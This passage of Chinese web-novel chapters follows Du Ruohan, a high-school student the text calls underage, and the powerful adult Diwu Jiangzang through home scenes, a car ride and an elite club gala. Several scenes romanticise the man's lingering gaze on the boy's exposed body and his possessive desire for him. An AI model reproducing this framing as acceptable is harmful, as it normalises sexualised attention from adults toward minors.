当熟悉的话语响起,杜若寒呆愣着站在那里。
他看着江先生分明十分清醒着的眼眸,闻得到空气中漂浮而来浓烈的龙舌兰酒气,对冲的令人头晕。
有一种强烈的直觉直击他的心脏,很有可能从一开始他就知道他在那里,只是静默不语,像是捉弄着等他靠近的顽劣猎手。
但男人看着他的眼眸却又很深很认真,认真到借助窗外一点微弱的光亮,杜若寒在他的眼中看见了自己那小小的、模糊的倒影。
于是,心里忽而又软下去一块,他没有再躲开,轻声道:
“我有点饿,想下来看看有没有什么吃的……”
“你喝酒了?”
第五江臧极淡的“嗯”了一声,“喝了一些。”
杜若寒不知道他说的一些到底是多少,总归不是一点点。
一点点的话,身上就不会有那么重的酒味了。
“去睡吧。”
第五江臧彻底松开手,杜若寒心里也紧跟着一空。
手腕上炙热的温度仍有残留,男人已经从沙发上站了起来,两人之间的距离不过几秒之间又拉开的很远。
第五江臧没有急着走,因为面前的小朋友一直在盯着他看。
他停留在原地,虽然微垂着眼眸,却因醉酒而松懈了的神情,透着几分慵懒的漫不经心与疑惑。
杜若寒缓缓的眨了眨眼,呼吸都放轻了很多,他说:
“我给您做一碗醒酒汤吧?”
第五江臧没有第一时间回应,杜若寒便止不住的紧张。
“不然醉酒的话,明天头会很痛。”
“不会很慢,你等我几分钟就好,可以么?”
说这话的杜若寒表情很认真,他的眼睛很圆也很漂亮,像是某种心思单纯的小猫或小狗。
第五江臧想不出拒绝的理由,于是他点头:
“好。”
尽管只有一个字,杜若寒脸上也是遮掩不住的开心。
“江先生,你坐着等我一会儿!马上就好!”
杜若寒说完便奔进厨房开始忙活,第五江臧站在原地看了一会儿。
恰好此时,杜若寒偷瞄着回头打量了他一眼,又紧张的拿错了东西。
第五江臧怕他不注意拿刀再切伤自己的手,便又退回去坐在沙发上静静的等待。
这期间,他的视线一直没有离开。
直至方雯的电话打了进来。
第五江臧很快接通了电话,以一个方雯没有意想到的速度。
难道老板晚上就没有自己的私生活么?
但她也仅仅是多想了两秒,很快便调整好情绪开口道:
“Boss,杜兆借着江氏的名义在王海生那里欠下的债款,王海生那边已经派人催了我不下三次,您看是否需要关重出面解决一下呢?”
方雯是一名工作效率极高的贴身助理,汇报的语速自然不会很慢。
但她等了一会儿,却一直没有等到回应。
第五江臧的视线在不远处逗留了一会儿,小朋友不太熟悉厨房里食材的摆放,垫着脚打开了上方的柜子。
一截白皙而又纤细的腰身从本就小了的睡衣里露了出来,宽松肥大的短裤拉的又低,一个浅浅的腰窝就这样轻易的暴露在男人的眼皮下。
第五江臧目光隐晦的掠过,垂下眼眸,声音透着一如既往的淡漠。
“他要钱,就给他钱。”
电话另一头的方雯明显一愣,“可是这样做,杜兆——”
男人冷硬的打断了她的话,“给他。”
电话挂断,手机被他随手扔在了一旁。
他看着在厨房里忙活着的小小身影,不知道想起什么似的,忽而勾起唇角一笑。
什么他有属于他的亲人兄弟,不差他一个。
可笑。
男人垂下眼眸来,遮掩住眼底一闪而过的疯狂与占有欲望。
22.第 22 章
第二天清晨,杜若寒还是起晚了。
他揉了揉睡的有些凌乱的发,迷迷糊糊的下了楼。
罗敏早已备好了早餐就放在客厅的餐桌上,杜若寒像往常一样和罗敏打了一声招呼,就要往餐桌边上走。
而脑袋没完全清醒的后果就是,他明明看见罗敏脸上一闪而过的诧异表情,和几分欲言又止的犹豫神情。
大脑却没能在第一时间反应,直至他已经站在了餐桌旁,在瞧见端坐在桌前的俊美男人时。
!!!
上一秒还想要打哈欠的杜若寒,下一秒瞬间精神的能就地刨坑给自己活埋。
目光不可控制的撞进一双略带几分戏谑与笑意的眼眸,杜若寒一阵手忙脚乱,大脑宕机几秒后宣布重启失败。
他尴尬的笑了一声,“…早上好,江先生。”
第五江臧的目光往下挪了一些,小朋友今天穿了一件素白的衬衣,衬衣上绣有江临一中的校徽,是一只正在展翅而飞的雄鹰。
但此刻,这只慌里慌张、两个眼睛下挂着黑眼袋的雏鹰小朋友,衬衣的扣子扣错开了。
一小片光洁而白皙的皮肤裸露在外,锁骨在立了一半的衣领下若隐若现,深蓝色条纹的领带也只是随手半挂在脖子上。
他甚至连信息素抑制环都只是拿在手上,并没有来得及戴上。
男人的眉便不由的皱起几分,“杜若寒同学,你很着急么。”
突然被叫到全名的杜若寒同学,心里一紧,结结巴巴道:
“有、有一点急——”
话还没说完,在对上男人的目光后,又立马改口:
“不是很急,不急不急……”
杜若寒低下头,这才看见自己完全扣错了的衬衣与没系上的领带,他欲哭无泪的在心里喊了一声:
完蛋了!他不是很忙么?按照剧本里来说,他不应该是走了么?这也太倒霉了吧!
第五江臧可听不见他的心声,蹙起的眉松开一些:
“衣服扣好就过来吃饭。”
杜若寒应了一声赶紧走远点背过身去,把自己扣错的纽扣重新扣好。
第五江臧抬头轻瞥了一眼,阳光落下的正好,衬衣松开时透了进来,一截窄细的腰身在光线的透视下,漂亮的简直晃眼。
他很快收回眼没再看,杜若寒的动作也算快,全部整理好后才动作很轻的在第五江臧面前坐下。
而他的早餐要比他本人更早的抵达餐桌,满满的和对面江先生的餐盘形成鲜明的对比。
杜若寒小心翼翼的瞥了一眼,心里着实松了一口气。
对面的人就快要吃完了,等他走后自己就不用这么紧张了。
杜若寒这样想着,吃早餐的速度也就没有那么急迫了。
只不过他全程低着头,第五江臧只能看见他尖尖的下巴和在脸上投下一小片阴影的浓密睫毛。
而发生在昨夜昏暗光线下的对话,好似已经是另一个空间的事了。
男人喝了一口碗里的醒酒汤后,便稍稍停顿抬起头。
杜若寒便止不住的紧张,听见江先生问:
“杜兆也经常醉酒?”
杜若寒微微一愣,像是想起什么似的,沉默了一会儿才摇摇头道:
“他酒量很好。”
男人隐匿于黑暗中的神情一顿。
“那你怎么会做这个。”
如果不是杜兆,那就是……为别人做过?
提起这个,杜若寒脸上露出几分不好意思的神情来。
“嗯……有一段时间我在我同学家里住过一段时间。”
第五江臧放下手里的碗。
杜若寒话还没有说完,也不太懂是不是自己做的不太合他的口味,神情顿了顿还是将话说完。
“他妈妈是一家很有名的公司高管,时常要去应酬,每次喝醉了回来吐的都很难受。”
“那段时候我借住在他们家,心里很过意不去就在网上找视频学会了这个做法。”
“是……不合口味么?”
杜若寒睁大的眼眸里有一闪而过的失落。
第五江臧没有说话,完全隐匿于黑暗的脸上看不出太多的情绪。
他没有再问杜若寒说的借住是什么意思,借住在同学家里究竟是因为出了什么事。
他明明有家,也尚未成年。
在一阵沉默过后,杜若寒听见了江先生放轻了的声音:
“有些烫,等会喝好么。”
杜若寒微微一愣,原来刚刚放下是……因为烫?
“好、好的。”
他来不及细想心里莫名涌起的激动和重新燃起的喜悦究竟是什么,也为自己的疏忽和多想而感到懊恼。
他脸颊微微发烫,低着头只能看见江先生搭在桌旁骨节分明而又修长的手指,从口袋里摸出一个黑色匣子。
黑色匣子没有当着他的面打开,但杜若寒已经知道里面放的是什么。
第五江臧抬起眼,嗅着空气中逐渐浓郁的芍药香,声音低沉而有力:
“杜若寒同学,可以说晚安了。”
杜若寒不由的蜷起指尖,脸颊变得更烫更红,他确实该回去睡觉了。
“晚安,江先生。”
杜若寒往楼梯口走去,在一声清脆的咔嚓点烟声中,听见男人透着些许温柔的声音在身后响起。
“晚安,好梦。”
杜若寒走了一小会儿神,尽管走神暗想的对象此刻就坐在自己面前。
白天的光线过于强烈,他又不敢明目张胆的看,视线就一直停留在男人的一颗宝石袖扣上。
第五江臧用完餐后,就一直在观察面前的小朋友。
杜若寒吃东西的速度其实很快,并没有过多的细嚼慢咽,大抵是和他的成长环境有关。
一个完整的猪扒三明治吃完,只用了三四分钟的时间。
不过杜若寒吃相并不难看,挺像一只忙碌的小仓鼠。
罗敏今天早上给他准备的是一杯热过的羊奶,羊奶的味道闻起来挺香,但渐渐放冷之后仍旧有一点腥味。
杜若寒不喜欢喝羊奶。
从始至终,他就没有碰过,一直等到放冷之后,才想起来不能浪费食物的想喝一口。
杜若寒甚至不怎么挑食。
看上去倒是个挺不错的习惯,但第五江臧很不喜欢。
他在杜若寒伸手要拿过玻璃杯时,忽而出声:
“罗敏。”
杜若寒微微一愣,手还没有伸出去,罗敏闻声已经第一时间走了过来。
“先生?”
罗敏先是皱着眉打量了杜若寒一眼,随后才看向第五江臧。
而男人的目光就落在那杯已经彻底冷掉了的羊奶上,声音听不出太多的情绪:
“拿走。”
罗敏一愣,很快便明白他的意思,端起那杯杜若寒不喜欢的羊奶
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,又朝着杜若寒露出一些歉意的笑来。
“不好意思杜少爷,已经冷掉了,我给您换一杯吧。”
杜若寒赶紧摇摇头,他本来就不喜欢喝羊奶。
“罗姨不用了,我上学要迟到了。”
罗敏有些不太确定的看向旁边的先生,就像杜若寒说的话并不算数一样。
而第五江臧望着罗敏的眼眸深不见底,薄唇微微勾起一个弧度,脸上却没有任何的笑意可言。
“他的话,需要我再来重复一遍么?罗敏。”
一瞬间,罗敏出了一身的冷汗,脸色也白了几分。
而第五江臧已经收回了刚刚的目光,冲杜若寒抬了抬下巴。
“不是来不及了么。”
还在发愣的杜若寒赶紧低头看了一眼时间,表情像是被踩到尾巴的猫,一下子顾不上其他:
“!!真来不及了!”
“江先生再见!”
他站起身就要往外面跑,才走出去两步,男人的声音才从身后不紧不慢的传来。
“跑什么,我送你。”
杜若寒眼睛睁大:“啊?”
林识的车其实已经提前十分钟进入香榭丽舍大道了,但是他还是来迟了一步。
以至于本该属于他的候车地点上,出现了一辆他觉得有些眼熟的黑色宾利。
正当他不太确定之时,驾驶位上的车窗慢慢降了下来,露出一张戴着墨镜五官硬挺的脸。
林识一愣,“老大?”
老大不是只给江先生开车的么?
关重没说话,只是朝他做了一个手势。
意思是说,让他滚。
文明点的也可以是,今天暂时用不上你了。
林识懵了还以为自己看错了,但过了一会儿别墅门口一前一后出来了一高一小两个人。
不是江先生和小杜同学,还能有谁?
林识不说话了,相当快准狠的掉头让道。
两车擦过之时,林识的车窗还未升上去,听见小杜同学在车后座冲他眨眨眼,比了一个林哥的口型,但是没有喊出声。
而这期间,坐在小杜同学身边的江先生也顺着他的目光抬起眼,朝自己所在的方向轻轻一瞥。
只是那一眼,林识握着方向盘的手心里全是汗。
天爷啊,以后还是让这个小祖宗别再乱喊了,迟早要喊出事!
————————
这些天,所谓的居无定所的江先生,忽然一下子又具有定所起来了。
一周七天的早晨,杜若寒最少能看见他三次。
如果不忙的晚上,这人还能抽空过来接他一起放学。
当然,这样的频率目前只出现过一次,概率好比学校门口的抽奖卷。
但这天放学,杜若寒发现自己竟然又中奖了。
出了校门他才看见齐帆给他发的消息:小杜同志,我又下岗啦,你懂的哦!自己乖乖的过去吧!
江先生的车并不会直接停在门口,而是停在学校对面的街边上。
关重有时候会在学校门口等他,有时候只是站在街对面朝他所在的方向望着。
今天显然是后者,关重看见他之后就提前打开了车门。
杜若寒和他打过招呼,还没来得及上车,当他望见坐在后座的人时,当即愣在了原地。
江先生的身旁竟坐着一个omega,一个长相十分精致出挑的omega。
23.第 23 章
他才发现关重今天开的是一辆克蒂巴赫的商务车。
商务的后座其实足够宽敞,哪怕第五江臧坐在靠外侧的右边,过分优越的身形遮挡了一些视线。
但杜若寒还是一眼就看见了他身后的omega。
那名omega稍稍向外侧了一些,大部分的身形都躲藏在西装革履的男人身后,仅仅只是露出一张白皙精致的脸,就已经足够令人惊叹绝艳。
而两人贴着的距离又拿掐在一个十分微妙的点上,不至于过近而显得人前失了姿态与分寸,也不至于过远而显得那般冷淡和客气。
就像是再恩爱的夫妻也不会刻意于人前显摆他们的亲昵,但从他们的眼神与肢体接触中,却又不难发现他们确实对于对方而言是最为特别的那个。
而最重要的一点是,杜若寒注意到那人雪白如葱般的指尖上正摆弄着一个巴掌大小的藏蓝色烟匣。
几乎是和江先生用的烟匣一摸一样,除了颜色以外,它们看上去没有任何区别。
大抵是私人定制的东西,烟匣的匣体上没有雕刻特殊logo,但也不难看出,这几乎就是一对。
而在此刻,愣怔一瞬后,杜若寒有种一脚踩空在楼梯上猛烈下坠的错觉。
片刻的眩晕过后,他确实是笑不出来的,但仍旧不忘礼貌的喊了一声:
“江先生。”
声音听上去挺干巴的,但其实无所谓,关重在他上了车后就关上了车门。
杜若寒下意识向窗户外看了一眼,脑子坏掉的想,现在跳车还来得及么?
没人能听见杜若寒的心声,但他那些看似不露痕迹的小表情与小动作,却被面前的两人尽收眼底。
裴雪宁的目光其实已经算的上放肆了,他将杜若寒从头到脚仔仔细细的打量了一遍。
随后才若有所思的抬起头,朝身旁端坐着的男人看去一眼。
那人倚靠在座背上,左手指尖轻点桌面,姿势算得上放松,目光只是很淡的略过面前小朋友的脸,好似没有再看第二眼。
他薄唇微抿,只是余光瞥过裴雪宁,却丝毫没有要开口互相介绍的打算。
裴雪宁愣怔一瞬,很快便心下了然,有点意思。
他勾起唇来,脸上露出一抹十分亲昵的笑,开口的嗓音却偏沙哑的柔软:
“你好,我叫裴雪宁。”
听到声音的杜若寒下意识朝他看去,而这第一眼就望见他好似白玉般的脖颈上佩戴着的抑制环。
竟然是透明的,是毫不加掩饰、赤裸裸的色欲。
一点嫣红透着紫的吻痕极其暧昧的暴露在他的视线下,而更多的则是被他过长而柔软的发丝遮挡,隐于不为人知的深处。
杜若寒手心冰凉一片,几乎难以控制自己不要去想,去想是谁沿着这优美的曲线痴醉的吻了上去。
裴雪宁瞧见小朋友明显白了几分的脸蛋,但他看着自己的目光却仍旧不夹杂着任何一丝一毫的恶意。
就连本能的好奇与探索的欲望都没有,强撑着的、礼貌的和自己打招呼。
裴雪宁眼里明显闪过一丝惊讶,他指尖的烟匣慢慢的停止了转动。
“你好,我叫杜若寒。”
“那我可以叫你……寒寒么?”
裴雪宁婉然一笑,他双手撑在桌子上,在杜若寒没有察觉到的下一秒彼此之间拉近了许多距离。
杜若寒微微一愣,嗅到他身上淡淡的香烟味,混杂着一些艾草香。
而这些味道与他上挑着魅惑的丹凤眼迫使杜若寒在这一刻,产生了一种很难言语的割裂感。
他呆呆的看着裴雪宁,竟像是看的着了迷,但其实杜若寒还没来得及细想。
端坐在一旁从未说话的男人却微不可闻的皱起了眉,“坐好。”
虽是在提醒裴雪宁,但杜若寒也从刚刚的发愣中回过了神。
裴雪宁转过头去,冲第五江臧露出一抹意味不明的笑,尽管那人根本就没有在看他。
裴雪宁耸耸肩,也不知道是谁想要逗弄小孩,结果自己却讨了个没趣。
他从腰侧摸出打火机,动作熟练的翻开深蓝色的烟匣,冲杜若寒眨眨眼:
“小宝,介意我在车上抽根烟么?”
杜若寒被他这一声小宝叫的魂儿软了一半,当然是要点头答应,但下一秒,男人毫不留情的冷硬声音响起。
“不行。”
烟瘾犯了的裴雪宁实在是忍不住,眨巴眼睛的求道:
“表哥,就一根行不行?”
表哥?杜若寒瞪大了眼睛,搞了半天这两人是表兄弟?不是情人关系?
一瞬间,杜若寒心里着实松了一口气。
虽然他压根就没想过,自己心里忽上忽下的原因究竟是什么。
第五江臧将他那呆傻的表情尽收眼底,垂下眼眸后回应裴雪宁的表情显得冷淡而客气:
“表弟想抽,我也可以让关重停车。”
裴雪宁一听这话,立刻果断的合上了打开的烟匣,坐姿都端正了许多,同样客气道:
“谢谢表哥的好意,我突然又不太想抽了。”
就怕他前脚刚下车,后脚人就有可能被无情的丢在马路上了。
他了解第五江臧,就没有这疯子做不出来的事情。
“对了,晚上的宴会不如寒寒也一起去吧?”
裴雪宁说这话时,特别留意了一下第五江臧的神情。
杜若寒这名字他又不是第一天才知道,尽管老爷子这事情做的再隐蔽,但奈何架不住有些人费尽心思的想要往里钻的窥探。
更何况这小孩还有一个那样不着调的父亲,管不住嘴巴,也管不住那双想赌的手。
原本确实是个没人在意的小喽啰,不过有人拍到了第五江臧去学校开家长会的身影。
那所学校,还恰好就是杜若寒所在的江临一中。
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>那么事情就开始变得有意思起来了。
他这表哥可不仅仅是声名在外的太子爷,更是真正独断专行的顶级裁决者。
大把大把的鬣狗、豺狼一类的玩意儿,闻着味儿也要凑上来探探口风。
他们一直活在这位的威压之下,小心翼翼的苟延残喘,赚到手的钱足够他们子子孙孙十几辈子也花不完。
哪怕心中有再多的恨,见了面仍旧要恭恭敬敬的喊一声臧爷。
眼下小的动不了,动一动老的、不要紧的,对于他们来说易如反掌。
王海生不是胆大包天不怕死,而是背后另有高人指使。
做了这么一场局,套死了杜若寒他那个废物老爹,摆明了是要看他表哥对杜家的态度。
在这圈子里混染的久了,没什么消息是他所不知道的。
有些时候,裴雪宁都觉得自己手脏。
如今这小的就坐在太子爷跟前,瞧着倒不像外界传的那样:
什么手段了得爬上了太子爷的床,一夜七八次的要不完,什么日日夜夜都坐在腿上要人哄着、抱着,过两年肚子都要大了……
现在想想,真是无稽之谈,亏他还差点信了,死皮赖脸的跟着上了表哥的车,想知道传闻究竟是不是真的。
眼下所见到的不像是两位有情人,倒更像是……情况变异了的父与子。
裴雪宁想着想着就被自己逗笑了,不过神情没那么明显,看着杜若寒的目光也越发的温柔。
“去吧寒寒,你成绩那么好,次次考年级第一也太没意思了。”
“表哥带你去见识点好玩的,好不好?”
当裴雪宁说出那句“见识点好玩的”时,第五江臧侧过脸轻瞥了他一眼,不过目光又很快落回在了杜若寒的脸上。
杜若寒眼里闪过一丝茫然,裴雪宁是怎么知道自己次次考年级第一的?
他们之前难道认识?不可能啊。
就在杜若寒不知道该怎么回答时,第五江臧开口道:
“想去么?”
裴雪宁眼里闪过几分错愕与震惊,虽然他有逗弄小孩子的意思在,但开玩笑的成分更多。
他并不会天真的以为第五江臧真的会带杜若寒参加宴会,因为那样做到底意味着什么,又会有怎样的影响,他们都心知肚明。
可现在,他没有听错,第五江臧确实是在询问杜若寒的意见。
杜若寒有些犹豫,想去是有些想去,但也不是非去不可。
更多的是,他怕给江先生惹麻烦。
而他犹豫的这几秒,第五江臧已然洞悉了他的所有想法,并替他做好了决定。
“他也去。”
话音未落,裴雪宁看着对面小孩的眼睛“噌”的一下子亮了起来,像是塞了许多星星。
裴雪宁险些失笑,好乖的小宝。
心情竟莫名的好转起来,就连缠绕在心头的烟瘾也在此刻没了踪影。
24.第 24 章
半个小时后,关重开着克蒂巴赫驶出主城区。
又十五分钟,在进入东郊镇西后,车速才慢慢的降了下来。
杜若寒有预感他们就快要到了。
果不其然,透过车窗放眼望去是在夜幕低垂之下欲显深沉的一大片柏树群。
而在重重树影掠过再抚开后,一个面积并不小的圆形湖泊出现在杜若寒的视线里。
璀璨的灯光折射,湖水波光粼粼,像是散落在深蓝色镜面上的诸多珍珠,绚烂无比。
而在湖泊对岸坐落着的像是小山般的建筑物,便是赫赫有名的剑岚公馆。
他们的车子并没有从正门进入,而是从侧方驶入一条严禁访客入内的小道。
车子仅仅是在警卫亭停留很短暂的十几秒,很快便又提上了速度。
而在经过警卫亭时,杜若寒看见那名身材高大的警卫正在向他们恭恭敬敬的行使注目礼。
杜若寒心里微微一动,有种说不上来的感觉。
车内的裴雪宁与第五江臧,一个低着头摆弄手机,一个静靠在座椅上闭目养神。
只有杜若寒因为陌生,而感到紧张与好奇。
车子穿过地下通道,通过车载升降梯直接进入到剑岚公馆内部的负二层。
先下车的人一定是关重,等杜若寒跟着裴雪宁下车后,才格外诧异的发现,原来在他们后头还有一辆黑色奔驰紧紧跟随。
只不过下来的并不是什么尊贵的客人,而是一车身穿黑色西装、佩戴双重抑制环的保镖。
他们每一个行动都十分迅速而严谨,在下车一分钟不到的时间,便左右分散不一会儿就消失在了杜若寒的视线里。
此时,第五江臧抬手看了一眼腕表,裴雪宁就乖乖站在他身后,不发一言。
等他抬眼看向杜若寒,那人还在为那一车的保镖而感到震惊。
好似他们并不是来这里参加晚宴,而是什么□□交涉赃款的危险现场。
“小杜同学。”
冷不丁的,他听见男人忽然点到了他的名字。
杜若寒赶紧转过头来不再乱看,听话的应一声到。
裴雪宁在一旁忍不住捂嘴偷笑,抬头看向第五江臧时,男人平静的神情是少见的纵容。
“跟紧。”
只有言简意赅的两个字,杜若寒点点头紧紧跟在第五江臧的右侧,三人准备乘坐客梯直接进入会馆的三楼。
进入电梯后,杜若寒看见裴雪宁动作熟练的从包里夹出来一张烫金花纹的VIP卡。
在电梯感应界面刷过,他才按了三层的按钮。
杜若寒很快意识到,也许他们不走正门的原因很有可能是因为江先生怕麻烦。
但他不知道的是,这并不是最主要的原因。
能自由出入剑岚公馆的人,非富即贵,为官为商,而功利场上的人情往来又总是借着旁人的名义,往上攀爬不断。
裴雪宁也只是抱着试一试的心态邀请了第五江臧,他并不觉得自己在表哥这能有多大的面子。
但也不知是他本就走运,还是因为另外一个小朋友在的缘故,今天倒是成全了他在外人跟前的情面。
随着电梯门的打开,最先出现在杜若寒视线里的,是一个巨大的、令人震惊的金色牢笼。
它被五道不算粗的钢丝吊挂在半空,洁白的六重羽翼却在笼中尽情的舒展开来,甚至透过笼栏与笼栏之间的空隙向外用力的刺穿,留下一抹狰狞的惨白。
等杜若寒回过神来,他才发现那巨大的金色牢笼只是一盏风格迥异的水晶吊灯而已。
只不过水晶的灯体部分被雕刻成跪坐于笼中的天使,美丽而不着寸缕,正双手掩面而泣。
大抵是那天使被雕刻的过分栩栩如生,杜若寒心有余悸的盯着它看了好几眼,才回过神紧跟在男人的身后。
公馆的三楼是一个中间露空而四周建有十几个独立且封闭的看台与窗阁。
而二层则是一个偌大的晚宴厅,身着艳丽而暴露的女人们宛如流淌着的河流中一尾灵动而色彩斑斓的观赏鱼。
她们游走在西装革履的男人们之间,脖颈上的抑制环竟然和裴雪宁脖颈上的一样,要么透明,要么干脆不带。
他们谈笑之间,举止亲密,脸上却又仿佛覆盖着一张张惯于伪装的面具。
觥筹交错之下,灯光照的人华美而又晃眼,杜若寒没怎么见过这样的场面,匆匆往楼下望去一眼,又收了回来。
他们没走出去几步,一道清亮的声音从走廊的对面迎了上来。
“江先生,早说您会来,我一定是在楼下候着的。”
杜若寒顺着声音看去,那是一个三十岁左右穿着灰色格纹西装的男性alpha。
他长相端庄斯文,高高的鼻梁上架着一幅黑框眼镜,头发向后梳的光亮而整齐,整个人看上去十分的体面好亲近。
杜若寒只觉得熟悉,好像在哪里见到过。
他身后还跟着一个穿着打扮都很年轻漂亮的青年,脖子上的抑制环竟然也是透明的。
第五江臧没有接话,只是眼眸很淡的瞥过去一眼,便看向一旁的裴雪宁,目光透着几分令人难以捉摸的淡漠。
裴雪宁心里紧张面上却不显露分毫,随即露出一抹笑来,开口为二人介绍道:
“表哥,这就是我之前跟您提到过的金羽商会的武会长。”
“武会长和我算是老朋友了,原本我们只是想约在这聊一聊上齐路俱乐部的事,没想到会这么巧在这遇见。”
裴雪宁言笑晏晏,神情姿态无不自然而从容,不过即便如此,也是边说边小心翼翼的观察过男人脸上的表情。
见第五江臧脸上没有露出不耐或是别的神情,才接着往下引荐道:
“不过,武会长倒是对表哥您一直很是敬仰,在我面前可是常常提起,我这耳朵可是听烦了。”
裴雪宁弯着一双眼眸看向第五江臧,“不知道表哥有没有其他的安排,如果有的话那就只能改天了武老板。”
裴雪宁的话说了一圈,聪明的知道要将话语权递回到男人面前,这样才能两边都不得罪。
武仲华见状,自然要争取一番,不过话却说的很是委婉:
“江先生,倘若您有其他事要忙,那我们改天再叙?”
直到这个时候,杜若寒才终于想起来眼前这个姓武的到底是在哪见过。
他曾作为杜兆的贵客来过家中,只不过他们在客厅谈话的内容算不上愉快。
杜兆的姿态一直摆放的很低,姓武的却冷着
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脸显得刻薄而傲慢。
这也是杜若寒在见到他的瞬间,没能将两人联系到一起的原因。
武仲华是燕临三大商会之一金羽商会的副会长,曾有一段时间杜兆为了拉拢人脉与尽可能多的捞到资源。
与三大商会的几个会长走动的都很近,只不过吃喝玩乐过后,笑脸也赔了不少,却没有一个人是真心要带他进圈子的。
无非是便宜好处拿了许多,人前人后两幅模样,商人自私利己的本性倒是一览无遗。
杜若寒虽然对这人不抱有好感,但江先生要认识,他也并不会有任何想法。
这样想着,他听见男人声音淡漠的开口道:
“抱歉武先生,我今晚的安排已经提前定好了,恐怕没有多余的时间坐下来闲聊。”
武仲华一听,眼里闪过几分失落,但脸上却没有表现出来,仍旧十分客气的笑脸相迎:
“好的好的,那我们——”
第五江臧目光很淡的瞥过裴雪宁,裴雪宁心里一紧,随后便听见男人不紧不慢的开口道:
“如果武先生不介意,五分钟的时间我还是有的。”
武仲华一愣,随后面上是遮掩不住的狂喜,知道能有这样的机会全是第五江臧看在裴雪宁的面子上。
“当然不介意!江先生您说的什么话,您的时间有多宝贵,我们可都是知道的。”
武仲华喜笑颜开,伸出手来为他们带路。
“江先生,裴二少,还有这位……”
武仲华没能第一眼就认出来,只觉得这少年有几分面熟,又不太像是第五家或是江家的小辈。
那几位少爷他都是见过的,眼前的这个,倒是头一回见。
裴雪宁刚要开口说话,第五江臧已经侧过身来看向杜若寒。
“想要自己逛逛,还是和我一起。”
他说这话的神态与语气,简直和刚才判若两人,倒是温和的有些过了头。
武仲华明显一愣,裴雪宁倒是逐渐习惯,接受良好。
杜若寒轻咬了一下唇,目光很快的瞥了一眼楼下。
“我想自己逛逛可以么。”
他不想妨碍到江先生谈事,自己其实也对下面很好奇。
第五江臧微微蹙起眉,不过很快便松开,算是同意了。
“你有我的联系方式,有事知道发信息给我,对么?”
杜若寒点点头,模样乖巧:“我知道的江先生。”
第五江臧这才算放心,“去吧。”
武仲华立刻察言观色,知道这少年对于男人来说,不似普通人。
立马讨好的冲杜若寒亲切一笑,拉过他身后的青年道:
“这是我外甥柳游,也是第一次来,不如就让两个小朋友一起做个伴?”
裴雪宁也跟着附和,“好的呀武老板,那就麻烦您家外甥照顾好我们家寒寒了。”
“我们家寒寒胆子小,可千万不能欺负他哦。”
说罢,他伸手很轻的搂了一下杜若寒的腰身,在男人看不见的视线范围外,偷摸着将手里的伯爵卡放进了小孩的口袋里。
武仲华大笑:“哪敢呀!既然二位都这样说了,柳游,带好弟弟知道么?”
柳游点点头,“知道了,舅舅。”
25.第 25 章
“你真是第一次来么?”
他们走后,柳游带着杜若寒熟门熟路的刷开电梯下到公馆的二层。
他没有直接回答杜若寒的问题,而是微微一笑询问道:
“你想去哪里转转呢?剑岚公馆很大,除了顶层与负一层没有权限去不了之外,其他几层都是可以去的。”
柳游是这里的常客,他本身就有一张剑岚公馆的高级会员卡,并不是武仲华事先给的。
只不过他的VIP卡权限等级并不高,而剑岚公馆里的许多地方都设有非常严格的权限要求。
VIP卡的权限如果不够的话,不仅进不去,就连电梯都是上不去的。
柳游刷卡时,杜若寒就已经注意到他手里蔚蓝色的卡面很平整,和裴雪宁手里的那张并不相同。
他放在口袋里的手,下意识摸了摸裴雪宁给的那张卡。
卡面右侧很明显地向外凸起一个长条的图案,杜若寒顺着轮廓仔细的摩挲了一会儿,隐隐约约觉得应该是一根顶部镶嵌了宝石的权杖。
柳游没有注意到他这一细小的动作,领着他出了电梯,转过头来笑了一下:
“今晚八点钟会有一场高奢珠宝的私人拍卖会要在一楼的宴会厅举行,拍卖的珠宝都是董家二少珍藏已久的宝贝,听说随便一件拿出来都能拍上大几千万呢。”
“你想不想去看看?应该会有不少正当红的明星演员在呢。”
柳游说这话时,目光一直很留意的在打量着杜若寒脸上的表情,无非是在有意无意的试探杜若寒的来历与底细。
他在这圈子里混的时间不短,见识过不少形形色色的大人物,但那些所谓的大人物却全都不能跟今天所见到的那位相提并论。
原本他想借此机会好好在那位面前表现一番的,结果半路却杀出一个根本就不认识还长相平平的小屁孩。
说话的功夫,自己成了小屁孩的服务生,这也就罢了,问题在于那位对这小屁孩的态度未免太过柔和。
柳游心思深沉,虽然面上不显,心里必然是不服气和质疑的。
眼下就他们两人独处,柳游当然不敢表面上就有所不敬,不过也拐着弯的来探他的底。
见他脸上露出一些意外的表情,柳游心里微微一动。
“明星?”杜若寒微微一顿,“不是私人拍卖会么?”
柳游稍稍停下脚步,看向杜若寒的眼眸里透着几分古怪,语气诧异道:
“你不认识董家二少?”
杜若寒当然不认识什么董家二少,很想和他说自己还只是个上学的高中生。
只不过校服在上电梯之前就在负二层的换衣间换掉了。
柳游的神情不对劲,杜若寒自然知道这种情况下,多说就是错,索性看着柳游保持沉默。
这下柳游又有些不太确定起来了,这人到底是真有来头,压根不把董家二少放在眼里,还是打肿脸充胖子在硬装?
他一下子拿捏不住,心里没了底气,只好笑着解释道:
“你可能有所不知,董二少的叔叔是鼎辛传媒的一把手,他自己本身也是一位相当出色的导演,有钱有颜有身材。”
“因为此次拍卖会总成交价的百分之二十都会被董二少捐赠出去,也算半个慈善会,想要博眼球和赚流量的明星们自然会想办法以作陪的名义跟着各大老板们进来了。”
柳游对这些事知道的相当清楚,杜若寒大概也就明白过来,所谓的剑岚公馆就是一个巨大的名利场。
能踏进这里的光是出名还不够,必须有钱有权,否则照样是进不来的。
这样想着,杜若寒也就对拍卖会没什么兴趣了,他不追星,有空八卦新闻娱乐,倒不如多刷几套试卷。
尽管在柳游的介绍下,他知道一楼还有许多功能性相当齐全的娱乐场所。
出了宴会厅右转就是综合活动室,左侧的空间更大,除了露天的游泳池之外,含括棋牌、台球以及酒吧等一类能休闲的项目。
他一个学生对这些东西没有想法,再者江先生的大别墅里也不缺台球、游泳池一类。
他转过头便问柳游道:
“有可以看书的休息室么?”
柳游明显愣了一下,看向他的目光更怪了。
“…当然有,你还没用过晚餐吧?二楼的宴会厅会持续提供餐食与酒水直至凌晨,要不我先带你过去用餐?”
杜若寒确实没吃饭,这样想着还真的有些饿了,他点点头跟着柳游去了二层。
巨大的金色牢笼之中,即便是象征着最高权威的六翼天使也被折断翅膀,悬于高空而掩面垂泪。
而金色牢笼之下,是众多追逐权力沉浸在交际场上容貌靓丽的男男女女。
杜若寒站在角落手里捧着果汁浅喝了几口,他没有穿很正式的西装。
怕他不习惯也不舒服,第五江臧给他挑了一件偏松软的褶领衬衫,手腕处系以蕾丝绑带,显得优雅而精致。
